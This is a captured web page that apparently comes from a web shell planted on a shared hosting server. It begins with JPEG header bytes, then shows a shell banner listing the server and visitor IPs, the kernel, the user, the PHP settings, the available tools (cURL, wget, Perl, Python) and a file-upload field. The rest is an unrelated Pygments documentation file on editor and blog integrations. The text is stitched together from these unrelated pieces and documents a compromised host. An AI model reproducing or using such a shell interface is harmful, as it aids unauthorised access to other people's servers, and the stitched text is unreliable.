ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/opt/alt/python27/share/doc/alt-python27-pygments/reST/ |
Upload File : |
.. -*- mode: rst -*- =================================== Using Pygments in various scenarios =================================== PyGtk ----- Armin has written a piece of sample code that shows how to create a Gtk `TextBuffer` object containing Pygments-highlighted text. See the article here: http://lucumr.pocoo.org/cogitations/2007/05/30/pygments-gtk-rendering/ Wordpress --------- He also has a snippet that shows how to use Pygments in WordPress: http://lucumr.pocoo.org/cogitations/2007/05/30/pygments-in-wordpress/ Markdown -------- Since Pygments 0.9, the distribution ships Markdown_ preprocessor sample code that uses Pygments to render source code in `external/markdown-processor.py`. You can copy and adapt it to your liking. .. _Markdown: http://www.freewisdom.org/projects/python-markdown/ TextMate -------- Antonio Cangiano has created a Pygments bundle for TextMate that allows to colorize code via a simple menu option. It can be found here_. .. _here: http://antoniocangiano.com/2008/10/28/pygments-textmate-bundle/ Bash completion --------------- The source distribution contains a file ``external/pygments.bashcomp`` that sets up completion for the ``pygmentize`` command in bash. Java ---- See the `Java quickstart <java.txt>`_ document.